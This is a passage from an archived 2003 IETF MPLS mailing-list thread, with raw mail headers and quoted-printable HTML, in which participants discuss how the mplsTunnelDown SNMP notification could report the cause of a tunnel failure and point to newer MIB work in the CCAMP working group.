Sprecher</A> </DIV>
  <DIV style=3D"FONT: 10pt arial"><B>To:</B> <A =
title=3Dcheenu@bloomberg.net=20
  href=3D"mailto:'cheenu@bloomberg.net'">'cheenu@bloomberg.net'</A> ; <A =

  title=3Darunv@force10networks.com=20
  =
href=3D"mailto:'arunv@force10networks.com'">'arunv@force10networks.com'</=
A> ; <A=20
  title=3Dtnadeau@cisco.com=20
  href=3D"mailto:'tnadeau@cisco.com'">'tnadeau@cisco.com'</A> </DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Cc:</B> <A title=3Dmpls@UU.NET=20
  href=3D"mailto:'mpls@uu.net'">'mpls@uu.net'</A> </DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Sent:</B> Sunday, October 26, 2003 =
10:24=20
  AM</DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Subject:</B> mplsTunnelDown =
Trap</DIV>
  <DIV><BR></DIV>
  <DIV class=3DSection1><PRE><FONT face=3D"Courier New" color=3Dblack =
size=3D2><SPAN style=3D"FONT-SIZE: 10pt; COLOR: =
black">Hi,</SPAN></FONT><FONT color=3Dblack><SPAN style=3D"COLOR: black; =
mso-color-alt: windowtext"><o:p></o:p></SPAN></FONT></PRE><PRE><FONT =
face=3D"Courier New" color=3Dblack size=3D2><SPAN style=3D"FONT-SIZE: =
10pt; COLOR: black">I have a question regarding the mplsTunnelDown Trap. =
The objects that are defined for the Trap are as =
follows:</SPAN></FONT><FONT color=3Dblack><SPAN style=3D"COLOR: black; =
mso-color-alt: windowtext"><o:p></o:p></SPAN></FONT></PRE><PRE><FONT =
face=3D"Courier New" color=3Dblack size=3D2><SPAN style=3D"FONT-SIZE: =
10pt; COLOR: black"><SPAN style=3D"mso-tab-count: =
1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>mplsTunnelDown =
NOTIFICATION-TYPE</SPAN></FONT><FONT color=3Dblack><SPAN style=3D"COLOR: =
black; mso-color-alt: =
windowtext"><o:p></o:p></SPAN></FONT></PRE><PRE><FONT face=3D"Courier =
New" color=3Dblack size=3D2><SPAN style=3D"FONT-SIZE: 10pt; COLOR: =
black"><SPAN style=3D"mso-tab-count: =
1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN><SPAN =
style=3D"mso-spacerun: yes">&nbsp;&nbsp; </SPAN>OBJECTS<SPAN =
style=3D"mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp; =
</SPAN>{</SPAN></FONT><FONT color=3Dblack><SPAN style=3D"COLOR: black; =
mso-color-alt: windowtext"><o:p></o:p></SPAN></FONT></PRE><PRE><FONT =
face=3D"Courier New" color=3Dblack size=3D2><SPAN style=3D"FONT-SIZE: =
10pt; COLOR: black"><SPAN style=3D"mso-tab-count: =
1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN><SPAN =
style=3D"mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
</SPAN>mplsTunnelAdminStatus,</SPAN></FONT><FONT color=3Dblack><SPAN =
style=3D"COLOR: black; mso-color-alt: =
windowtext"><o:p></o:p></SPAN></FONT></PRE><PRE><FONT face=3D"Courier =
New" color=3Dblack size=3D2><SPAN style=3D"FONT-SIZE: 10pt; COLOR: =
black"><SPAN style=3D"mso-tab-count: =
1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN><SPAN =
style=3D"mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
</SPAN>mplsTunnelOperStatus</SPAN></FONT><FONT color=3Dblack><SPAN =
style=3D"COLOR: black; mso-color-alt: =
windowtext"><o:p></o:p></SPAN></FONT></PRE><PRE><FONT face=3D"Courier =
New" color=3Dblack size=3D2><SPAN style=3D"FONT-SIZE: 10pt; COLOR: =
black"><SPAN style=3D"mso-tab-count: =
1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN><SPAN =
style=3D"mso-spacerun: yes">&nbsp;&nbsp; </SPAN>}</SPAN></FONT><FONT =
color=3Dblack><SPAN style=3D"COLOR: black; mso-color-alt: =
windowtext"><o:p></o:p></SPAN></FONT></PRE><PRE style=3D"MARGIN-LEFT: =
72pt"><FONT face=3D"Courier New" color=3Dblack size=3D2><SPAN =
style=3D"FONT-SIZE: 10pt; COLOR: black">STATUS<SPAN =
style=3D"mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
</SPAN>current</SPAN></FONT><FONT color=3Dblack><SPAN style=3D"COLOR: =
black; mso-color-alt: windowtext"><o:p></o:p></SPAN></FONT></PRE><PRE =
style=3D"MARGIN-LEFT: 72pt"><FONT face=3D"Courier New" color=3Dblack =
size=3D2><SPAN style=3D"FONT-SIZE: 10pt; COLOR: black"><SPAN =
style=3D"mso-spacerun: yes">&nbsp;&nbsp; =
</SPAN>DESCRIPTION</SPAN></FONT><FONT color=3Dblack><SPAN =
style=3D"COLOR: black; mso-color-alt: =
windowtext"><o:p></o:p></SPAN></FONT></PRE><PRE style=3D"MARGIN-LEFT: =
72pt"><FONT face=3D"Courier New" color=3Dblack size=3D2><SPAN =
style=3D"FONT-SIZE: 10pt; COLOR: black"><SPAN style=3D"mso-spacerun: =
yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>"This =
notification is generated when a mplsTunnelOperStatus object for one of =
the</SPAN></FONT><FONT color=3Dblack><SPAN style=3D"COLOR: black; =
mso-color-alt: windowtext"><o:p></o:p></SPAN></FONT></PRE><PRE =
style=3D"MARGIN-LEFT: 137.4pt"><FONT face=3D"Courier New" color=3Dblack =
size=3D2><SPAN style=3D"FONT-SIZE: 10pt; COLOR: black">configured =
tunnels is about to enter the down state from some other state (but not =
from the notPresent<SPAN style=3D"mso-spacerun: =
yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>state).<SPAN =
style=3D"mso-spacerun: yes">&nbsp; </SPAN>This other state is indicated =
by the</SPAN></FONT><FONT color=3Dblack><SPAN style=3D"COLOR: black; =
mso-color-alt: windowtext"><o:p></o:p></SPAN></FONT></PRE><PRE =
style=3D"MARGIN-LEFT: 72pt"><FONT face=3D"Courier New" color=3Dblack =
size=3D2><SPAN style=3D"FONT-SIZE: 10pt; COLOR: black"><SPAN =
style=3D"mso-spacerun: =
yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
</SPAN>included value of mplsTunnelOperStatus."</SPAN></FONT><FONT =
color=3Dblack><SPAN style=3D"COLOR: black; mso-color-alt: =
windowtext"><o:p></o:p></SPAN></FONT></PRE><PRE style=3D"MARGIN-LEFT: =
72pt"><FONT face=3D"Courier New" color=3Dblack size=3D2><SPAN =
style=3D"FONT-SIZE: 10pt; COLOR: black"><SPAN style=3D"mso-spacerun: =
yes">&nbsp;&nbsp; </SPAN>::=3D { mplsTeNotifications 2 =
}</SPAN></FONT><FONT color=3Dblack><SPAN style=3D"COLOR: black; =
mso-color-alt: windowtext"><o:p></o:p></SPAN></FONT></PRE><PRE><FONT =
face=3D"Courier New" color=3Dblack size=3D2><SPAN style=3D"FONT-SIZE: =
10pt; COLOR: black"><![if =
!supportEmptyParas]>&nbsp;<![endif]></SPAN></FONT><FONT =
color=3Dblack><SPAN style=3D"COLOR: black; mso-color-alt: =
windowtext"><o:p></o:p></SPAN></FONT></PRE>
  <P class=3DMsoNormal><FONT face=3DArial color=3Dblack size=3D2><SPAN=20
  style=3D"FONT-SIZE: 10pt; COLOR: black">There is no indication (also =
no in the=20
  mplsTunnleTable) on the cause to the error. </SPAN></FONT><FONT=20
  color=3Dblack><SPAN=20
  style=3D"COLOR: black; mso-color-alt: =
windowtext"><o:p></o:p></SPAN></FONT></P>
  <P class=3DMsoNormal><FONT face=3DArial color=3Dblack size=3D2><SPAN=20
  style=3D"FONT-SIZE: 10pt; COLOR: black">The PathErr messages contain =
details on=20
  the cause to the error (error code and error value). =
</SPAN></FONT><FONT=20
  color=3Dblack><SPAN=20
  style=3D"COLOR: black; mso-color-alt: =
windowtext"><o:p></o:p></SPAN></FONT></P>
  <P class=3DMsoNormal><FONT face=3DArial color=3Dblack size=3D2><SPAN=20
  style=3D"FONT-SIZE: 10pt; COLOR: black"><![if =
!supportEmptyParas]><![endif]>&nbsp;</SPAN></FONT><FONT=20
  color=3Dblack><SPAN=20
  style=3D"COLOR: black; mso-color-alt: =
windowtext"><o:p></o:p></SPAN></FONT></P>
  <P class=3DMsoNormal><FONT face=3DArial color=3Dblack size=3D2><SPAN=20
  style=3D"FONT-SIZE: 10pt; COLOR: black">How can this information be =
exposed to=20
  the administrator?</SPAN></FONT><FONT color=3Dblack><SPAN=20
  style=3D"COLOR: black; mso-color-alt: =
windowtext"><o:p></o:p></SPAN></FONT></P>
  <P class=3DMsoNormal><FONT face=3DArial color=3Dblack size=3D2><SPAN=20
  style=3D"FONT-SIZE: 10pt; COLOR: black"><![if =
!supportEmptyParas]><![endif]>&nbsp;</SPAN></FONT><FONT=20
  color=3Dblack><SPAN=20
  style=3D"COLOR: black; mso-color-alt: =
windowtext"><o:p></o:p></SPAN></FONT></P>
  <P class=3DMsoNormal><FONT face=3DArial color=3Dblack size=3D2><SPAN=20
  style=3D"FONT-SIZE: 10pt; COLOR: black">Thanks, Nurit.<SPAN=20
  class=3DEmailStyle15><FONT=20
  =
color=3Dblack><o:p></o:p></FONT></SPAN></SPAN></FONT></P></DIV></BLOCKQUO=
TE></BODY></HTML>

------=_NextPart_000_0089_01C39C10.28DDF330--



From owner-mpls@UU.NET  Mon Oct 27 01:41:25 2003
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA15199
	for <mpls-archive@lists.ietf.org>; Mon, 27 Oct 2003 01:41:25 -0500 (EST)
Received: from cmr0.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpmek12310
	for <mpls-archive@lists.ietf.org>; Mon, 27 Oct 2003 06:41:34 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQpmek11785;
	Mon, 27 Oct 2003 06:41:21 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQpmej22788
	for mpls-outgoing; Mon, 27 Oct 2003 06:20:01 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQpmej22774
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 27 Oct 2003 06:19:58 GMT
Received: from cmr2.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQpmej27032
	for <mpls@UU.NET>; Mon, 27 Oct 2003 06:18:51 GMT
Received: from cmr2.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpmej26641
	for <mpls@UU.NET>; Mon, 27 Oct 2003 06:18:51 GMT
Received: from tiger.seabridge.co.il by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [212.25.127.226])
	id QQpmej26592
	for <mpls@UU.NET>; Mon, 27 Oct 2003 06:18:49 GMT
Received: by tiger.seabridge.co.il with Internet Mail Service (5.5.2653.19)
	id <V1ZDDQCM>; Mon, 27 Oct 2003 08:19:01 +0200
Message-ID: <C87E5A01714C7840B92CDED9E79329CA0117D082@leopard.seabridge.co.il>
From: Nurit Sprecher <nurit.sprecher@SeabridgeNetworks.com>
To: "'Adrian Farrel'" <adrian@olddog.co.uk>,
        Nurit Sprecher
	 <nurit.sprecher@SeabridgeNetworks.com>,
        cheenu@bloomberg.net, arunv@force10networks.com, tnadeau@cisco.com
Cc: "'mpls@uu.net'" <mpls@UU.NET>
Subject: RE: mplsTunnelDown Trap
Date: Mon, 27 Oct 2003 08:19:01 +0200
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C39C52.366B0320"
Sender: owner-mpls@UU.NET
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C39C52.366B0320
Content-Type: text/plain;
	charset="windows-1255"

Hi Adrian,
Thanks for your response. 
Finally I could find the MIB you are talking about (it does not appear in
the WG page).
What about notifications? Do you think of defining Traps?
Thanks, Nurit. 
 
-----Original Message-----
From: Adrian Farrel [mailto:adrian@olddog.co.uk]
Sent: Monday, October 27, 2003 12:26 AM
To: Nurit Sprecher; cheenu@bloomberg.net; arunv@force10networks.com;
tnadeau@cisco.com
Cc: 'mpls@uu.net'
Subject: Re: mplsTunnelDown Trap
 
Please see the work we are doing on the 'next generation' of these MIBs in
the CCAMP WG.
 
Cheers,
Adrian
----- Original Message ----- 

From: Nurit Sprecher <mailto:nurit.sprecher@SeabridgeNetworks.com>  
To: 'cheenu@bloomberg.net' <mailto:'cheenu@bloomberg.net'>  ;
'arunv@force10networks.com' <mailto:'arunv@force10networks.com'>  ;
'tnadeau@cisco.com' <mailto:'tnadeau@cisco.com'>  
Cc: 'mpls@uu.net' <mailto:'mpls@uu.net'>  
Sent: Sunday, October 26, 2003 10:24 AM
Subject: mplsTunnelDown Trap
 
Hi,
I have a question regarding the mplsTunnelDown Trap. The objects that are
defined for the Trap are as follows:
       mplsTunnelDown NOTIFICATION-TYPE
          OBJECTS     {
             mplsTunnelAdminStatus,
             mplsTunnelOperStatus
          }
STATUS      current
   DESCRIPTION
        "This notification is generated when a mplsTunnelOperStatus object
for one of the
configured tunnels is about to enter the down state from some other state
(but not from the notPresent        state).  This other state is indicated
by the
          included value of mplsTunnelOperStatus."
   ::= { mplsTeNotifications 2 }
 
There is no indication (also no in the mplsTunnleTable) on the cause to the
error. 
The PathErr messages contain details on the cause to the error (error code
and error value). 
 
How can this information be exposed to the administrator?
 
Thanks, Nurit.

------_=_NextPart_001_01C39C52.366B0320
Content-Type: text/html;
	charset="windows-1255"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html xmlns:v=3D"urn:schemas-microsoft-com:vml" =
xmlns:o=3D"urn:schemas-microsoft-com:office:office" =
xmlns:w=3D"urn:schemas-microsoft-com:office:word" =
xmlns=3D"http://www.w3.org/TR/REC-html40">

<head>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Dwindows-1255">


<meta name=3DProgId content=3DWord.Document>
<meta name=3DGenerator content=3D"Microsoft Word 9">
<meta name=3DOriginator content=3D"Microsoft Word 9">
<link rel=3DFile-List href=3D"cid:filelist.xml@01C39C62.F9445940">
<!--[if gte mso 9]><xml>
 <o:OfficeDocumentSettings>
  <o:DoNotRelyOnCSS/>
 </o:OfficeDocumentSettings>
</xml><![endif]--><!--[if gte mso 9]><xml>
 <w:WordDocument>
  <w:View>Normal</w:View>
  <w:Zoom>0</w:Zoom>
  <w:DocumentKind>DocumentEmail</w:DocumentKind>
  <w:EnvelopeVis/>
 </w:WordDocument>
</xml><![endif]-->
<style>
<!--
 /* Font Definitions */
@font-face
	{font-family:Tahoma;
	panose-1:2 11 6 4 3 5 4 4 2 4;
	mso-font-charset:0;
	mso-generic-font-family:swiss;
	mso-font-pitch:variable;
	mso-font-signature:553679495 -2147483648 8 0 66047 0;}
 /* Style Definitions */
p.MsoNormal, li.MsoNormal, div.MsoNormal
	{mso-style-parent:"";
	margin:0cm;
	margin-bottom:.0001pt;
	mso-pagination:widow-orphan;
	font-size:10.0pt;
	font-family:Arial;
	mso-fareast-font-family:"Times New Roman";}
a:link, span.MsoHyperlink
	{color:blue;
	text-decoration:underline;
	text-underline:single;}
a:visited, span.MsoHyperlinkFollowed
	{color:blue;
	text-decoration:underline;
	text-underline:single;}
p.MsoAutoSig, li.MsoAutoSig, div.MsoAutoSig
	{margin:0cm;
	margin-bottom:.0001pt;
	mso-pagination:widow-orphan;
	font-size:10.0pt;
	font-family:Arial;
	mso-fareast-font-family:"Times New Roman";}
pre
	{margin:0cm;
	margin-bottom:.0001pt;
	mso-pagination:widow-orphan;
	font-size:10.0pt;
	font-family:"Courier New";
	mso-fareast-font-family:"Courier New";}
span.EmailStyle17
	{mso-style-type:personal;
	mso-ansi-font-size:10.0pt;
	mso-ascii-font-family:Arial;
	mso-hansi-font-family:Arial;
	mso-bidi-font-family:Arial;
	color:black;}
span.EmailStyle20
	{mso-style-type:personal-reply;
	mso-ansi-font-size:10.0pt;
	mso-ascii-font-family:Arial;
	mso-hansi-font-family:Arial;
	mso-bidi-font-family:Arial;
	color:navy;}
@page Section1
	{size:595.3pt 841.9pt;
	margin:72.0pt 90.0pt 72.0pt 90.0pt;
	mso-header-margin:35.4pt;
	mso-footer-margin:35.4pt;
	mso-paper-source:0;}
div.Section1
	{page:Section1;}
-->
</style>
<!--[if gte mso 9]><xml>
 <o:shapedefaults v:ext=3D"edit" spidmax=3D"1027"/>
</xml><![endif]--><!--[if gte mso 9]><xml>
 <o:shapelayout v:ext=3D"edit">
  <o:idmap v:ext=3D"edit" data=3D"1"/>
 </o:shapelayout></xml><![endif]-->
</head>

<body bgcolor=3Dwhite lang=3DEN-US link=3Dblue vlink=3Dblue =
style=3D'tab-interval:36.0pt'>

<div class=3DSection1>

<p class=3DMsoNormal><span class=3DEmailStyle20><font size=3D2 =
color=3Dnavy face=3DArial><span
style=3D'font-size:10.0pt'>Hi =
Adrian,<o:p></o:p></span></font></span></p>

<p class=3DMsoNormal><span class=3DEmailStyle20><font size=3D2 =
color=3Dnavy face=3DArial><span
style=3D'font-size:10.0pt'>Thanks for your response. =
<o:p></o:p></span></font></span></p>

<p class=3DMsoNormal><span class=3DEmailStyle20><font size=3D2 =
color=3Dnavy face=3DArial><span
style=3D'font-size:10.0pt'>Finally I could find the MIB you are talking =
about (it
does not appear in the WG page).<o:p></o:p></span></font></span></p>

<p class=3DMsoNormal><span class=3DEmailStyle20><font size=3D2 =
color=3Dnavy face=3DArial><span
style=3D'font-size:10.0pt'>What about notifications? Do you think of =
defining
Traps?<o:p></o:p></span></font></span></p>

<p class=3DMsoNormal><span class=3DEmailStyle20><font size=3D2 =
color=3Dnavy face=3DArial><span
style=3D'font-size:10.0pt'>Thanks, Nurit. =
<o:p></o:p></span></font></span></p>

<p class=3DMsoNormal><span class=3DEmailStyle20><font size=3D2 =
color=3Dnavy face=3DArial><span
style=3D'font-size:10.0pt'><![if =
!supportEmptyParas]>&nbsp;<![endif]><o:p></o:p></span></font></span></p>=


<p class=3DMsoNormal><font size=3D2 color=3Dblack face=3DTahoma><span =
style=3D'font-size:
10.0pt;font-family:Tahoma;color:black'>-----Original Message-----<br>
<b><span style=3D'font-weight:bold'>From:</span></b> Adrian Farrel
[mailto:adrian@olddog.co.uk]<br>
<b><span style=3D'font-weight:bold'>Sent:</span></b> Monday, October =
27, 2003
12:26 AM<br>
<b><span style=3D'font-weight:bold'>To:</span></b> Nurit Sprecher;
cheenu@bloomberg.net; arunv@force10networks.com; tnadeau@cisco.com<br>
<b><span style=3D'font-weight:bold'>Cc:</span></b> 'mpls@uu.net'<br>
<b><span style=3D'font-weight:bold'>Subject:</span></b> Re: =
mplsTunnelDown Trap</span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt'><![if =
!supportEmptyParas]>&nbsp;<![endif]><o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 color=3Dblack face=3D"Times New =
Roman"><span
style=3D'font-size:10.0pt;font-family:"Times New =
Roman";color:black'>Please see
the work we are doing on the 'next generation' of these MIBs in the =
CCAMP WG.</span></font><font
size=3D3 color=3Dblack face=3D"Times New Roman"><span =
style=3D'font-size:12.0pt;
font-family:"Times New =
Roman";color:black;mso-color-alt:windowtext'><o:p></o:p></span></font></=
p>

<p class=3DMsoNormal><font size=3D3 color=3Dblack face=3D"Times New =
Roman"><span
style=3D'font-size:12.0pt;font-family:"Times New =
Roman";color:black'>&nbsp;</span></font><font
size=3D3 color=3Dblack face=3D"Times New Roman"><span =
style=3D'font-size:12.0pt;
font-family:"Times New =
Roman";color:black;mso-color-alt:windowtext'><o:p></o:p></span></font></=
p>

<p class=3DMsoNormal><font size=3D2 color=3Dblack face=3D"Times New =
Roman"><span
style=3D'font-size:10.0pt;font-family:"Times New =
Roman";color:black'>Cheers,</span></font><font
size=3D3 color=3Dblack face=3D"Times New Roman"><span =
style=3D'font-size:12.0pt;
font-family:"Times New =
Roman";color:black;mso-color-alt:windowtext'><o:p></o:p></span></font></=
p>

<p class=3DMsoNormal><font size=3D2 color=3Dblack face=3D"Times New =
Roman"><span
style=3D'font-size:10.0pt;font-family:"Times New =
Roman";color:black'>Adrian</span></font><font
size=3D3 color=3Dblack face=3D"Times New Roman"><span =
style=3D'font-size:12.0pt;
font-family:"Times New =
Roman";color:black;mso-color-alt:windowtext'><o:p></o:p></span></font></=
p>

<div style=3D'border:none;border-left:solid black 1.5pt;padding:0cm 0cm =
0cm 4.0pt'>

<p class=3DMsoNormal =
style=3D'mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;
margin-left:3.75pt;border:none;mso-border-left-alt:solid black 1.5pt;
padding:0cm;mso-padding-alt:0cm 0cm 0cm 4.0pt'><font size=3D2 =
color=3Dblack
face=3DArial><span style=3D'font-size:10.0pt;color:black'>----- =
Original Message
----- </span></font><font color=3Dblack><span =
style=3D'color:black;mso-color-alt:
windowtext'><o:p></o:p></span></font></p>

<p class=3DMsoNormal =
style=3D'mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;
margin-left:3.75pt;background:#E4E4E4;border:none;mso-border-left-alt:so=
lid black 1.5pt;
padding:0cm;mso-padding-alt:0cm 0cm 0cm 4.0pt'><b><font size=3D2 =
color=3Dblack
face=3DArial><span =
style=3D'font-size:10.0pt;color:black;font-weight:bold'>

<div style=3D'font-color:black'>From:</span></font></b><font =
color=3Dblack><span
style=3D'color:black'> <a =
href=3D"mailto:nurit.sprecher@SeabridgeNetworks.com"
title=3D"nurit.sprecher@SeabridgeNetworks.com">Nurit Sprecher</a> =
</span></font></div>

<font color=3Dblack><span =
style=3D'color:black;mso-color-alt:windowtext'><o:p></o:p></span></font>=
</p>

<p class=3DMsoNormal =
style=3D'mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;
margin-left:3.75pt;border:none;mso-border-left-alt:solid black 1.5pt;
padding:0cm;mso-padding-alt:0cm 0cm 0cm 4.0pt'><b><font size=3D2 =
color=3Dblack
face=3DArial><span =
style=3D'font-size:10.0pt;color:black;font-weight:bold'>To:</span></font=
></b><font
color=3Dblack><span style=3D'color:black'> <a =
href=3D"mailto:'cheenu@bloomberg.net'"
title=3D"cheenu@bloomberg.net">'cheenu@bloomberg.net'</a> ; <a
href=3D"mailto:'arunv@force10networks.com'" =
title=3D"arunv@force10networks.com">'arunv@force10networks.com'</a>
; <a href=3D"mailto:'tnadeau@cisco.com'" =
title=3D"tnadeau@cisco.com">'tnadeau@cisco.com'</a>
</span></font><font color=3Dblack><span =
style=3D'color:black;mso-color-alt:windowtext'><o:p></o:p></span></font>=
</p>

<p class=3DMsoNormal =
style=3D'mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;
margin-left:3.75pt;border:none;mso-border-left-alt:solid black 1.5pt;
padding:0cm;mso-padding-alt:0cm 0cm 0cm 4.0pt'><b><font size=3D2 =
color=3Dblack
face=3DArial><span =
style=3D'font-size:10.0pt;color:black;font-weight:bold'>Cc:</span></font=
></b><font
color=3Dblack><span style=3D'color:black'> <a =
href=3D"mailto:'mpls@uu.net'"
title=3D"mpls@UU.NET">'mpls@uu.net'</a> </span></font><font =
color=3Dblack><span
style=3D'color:black;mso-color-alt:windowtext'><o:p></o:p></span></font>=
</p>

<p class=3DMsoNormal =
style=3D'mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;
margin-left:3.75pt;border:none;mso-border-left-alt:solid black 1.5pt;
padding:0cm;mso-padding-alt:0cm 0cm 0cm 4.0pt'><b><font size=3D2 =
color=3Dblack
face=3DArial><span =
style=3D'font-size:10.0pt;color:black;font-weight:bold'>Sent:</span></fo=
nt></b><font
color=3Dblack><span style=3D'color:black'> Sunday, October 26, 2003 =
10:24 AM</span></font><font
color=3Dblack><span =
style=3D'color:black;mso-color-alt:windowtext'><o:p></o:p></span></font>=
</p>

<p class=3DMsoNormal =
style=3D'mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;
margin-left:3.75pt;border:none;mso-border-left-alt:solid black 1.5pt;
padding:0cm;mso-padding-alt:0cm 0cm 0cm 4.0pt'><b><font size=3D2 =
color=3Dblack
face=3DArial><span =
style=3D'font-size:10.0pt;color:black;font-weight:bold'>Subject:</span><=
/font></b><font
color=3Dblack><span style=3D'color:black'> mplsTunnelDown =
Trap</span></font><font
color=3Dblack><span =
style=3D'color:black;mso-color-alt:windowtext'><o:p></o:p></span></font>=
</p>

<p class=3DMsoNormal =
style=3D'mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;
margin-left:3.75pt;border:none;mso-border-left-alt:solid black 1.5pt;
padding:0cm;mso-padding-alt:0cm 0cm 0cm 4.0pt'><font size=3D3 =
color=3Dblack
face=3D"Times New Roman"><span =
style=3D'font-size:12.0pt;font-family:"Times New Roman";
color:black'><![if =
!supportEmptyParas]>&nbsp;<![endif]></span></font><font
size=3D3 color=3Dblack face=3D"Times New Roman"><span =
style=3D'font-size:12.0pt;
font-family:"Times New =
Roman";color:black;mso-color-alt:windowtext'><o:p></o:p></span></font></=
p>

<pre style=3D'margin-left:3.75pt;border:none;mso-border-left-alt:solid =
black 1.5pt;
padding:0cm;mso-padding-alt:0cm 0cm 0cm 4.0pt'><font size=3D2 =
color=3Dblack
face=3D"Courier New"><span =
style=3D'font-size:10.0pt;color:black'>Hi,</span></font><font
color=3Dblack><span =
style=3D'color:black;mso-color-alt:windowtext'><o:p></o:p></span></font>=
</pre><pre
style=3D'margin-left:3.75pt;border:none;mso-border-left-alt:solid black =
1.5pt;
padding:0cm;mso-padding-alt:0cm 0cm 0cm 4.0pt'><font size=3D2 =
color=3Dblack
face=3D"Courier New"><span style=3D'font-size:10.0pt;color:black'>I =
have a question regarding the mplsTunnelDown Trap. The objects that are =
defined for the Trap are as follows:</span></font><font
color=3Dblack><span =
style=3D'color:black;mso-color-alt:windowtext'><o:p></o:p></span></font>=
</pre><pre
style=3D'margin-left:3.75pt;border:none;mso-border-left-alt:solid black =
1.5pt;
padding:0cm;mso-padding-alt:0cm 0cm 0cm 4.0pt'><font size=3D2 =
color=3Dblack
face=3D"Courier New"><span style=3D'font-size:10.0pt;color:black'><span
style=3D'mso-tab-count:1'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
</span>mplsTunnelDown NOTIFICATION-TYPE</span></font><font
color=3Dblack><span =
style=3D'color:black;mso-color-alt:windowtext'><o:p></o:p></span></font>=
</pre><pre
style=3D'margin-left:3.75pt;border:none;mso-border-left-alt:solid black =
1.5pt;
padding:0cm;mso-padding-alt:0cm 0cm 0cm 4.0pt'><font size=3D2 =
color=3Dblack
face=3D"Courier New"><span style=3D'font-size:10.0pt;color:black'><span
style=3D'mso-tab-count:1'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
</span><span style=3D"mso-spacerun: yes">&nbsp;&nbsp; =
</span>OBJECTS<span style=3D"mso-spacerun: =
yes">&nbsp;&nbsp;&nbsp;&nbsp; </span>{</span></font><font
color=3Dblack><span =
style=3D'color:black;mso-color-alt:windowtext'><o:p></o:p></span></font>=
</pre><pre
style=3D'margin-left:3.75pt;border:none;mso-border-left-alt:solid black =
1.5pt;
padding:0cm;mso-padding-alt:0cm 0cm 0cm 4.0pt'><font size=3D2 =
color=3Dblack
face=3D"Courier New"><span style=3D'font-size:10.0pt;color:black'><span
style=3D'mso-tab-count:1'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
</span><span style=3D"mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
</span>mplsTunnelAdminStatus,</span></font><font
color=3Dblack><span =
style=3D'color:black;mso-color-alt:windowtext'><o:p></o:p></span></font>=
</pre><pre
style=3D'margin-left:3.75pt;border:none;mso-border-left-alt:solid black =
1.5pt;
padding:0cm;mso-padding-alt:0cm 0cm 0cm 4.0pt'><font size=3D2 =
color=3Dblack
face=3D"Courier New"><span style=3D'font-size:10.0pt;color:black'><span
style=3D'mso-tab-count:1'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
</span><span style=3D"mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
</span>mplsTunnelOperStatus</span></font><font
color=3Dblack><span =
style=3D'color:black;mso-color-alt:windowtext'><o:p></o:p></span></font>=
</pre><pre
style=3D'margin-left:3.75pt;border:none;mso-border-left-alt:solid black =
1.5pt;
padding:0cm;mso-padding-alt:0cm 0cm 0cm 4.0pt'><font size=3D2 =
color=3Dblack
face=3D"Courier New"><span style=3D'font-size:10.0pt;color:black'><span
style=3D'mso-tab-count:1'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
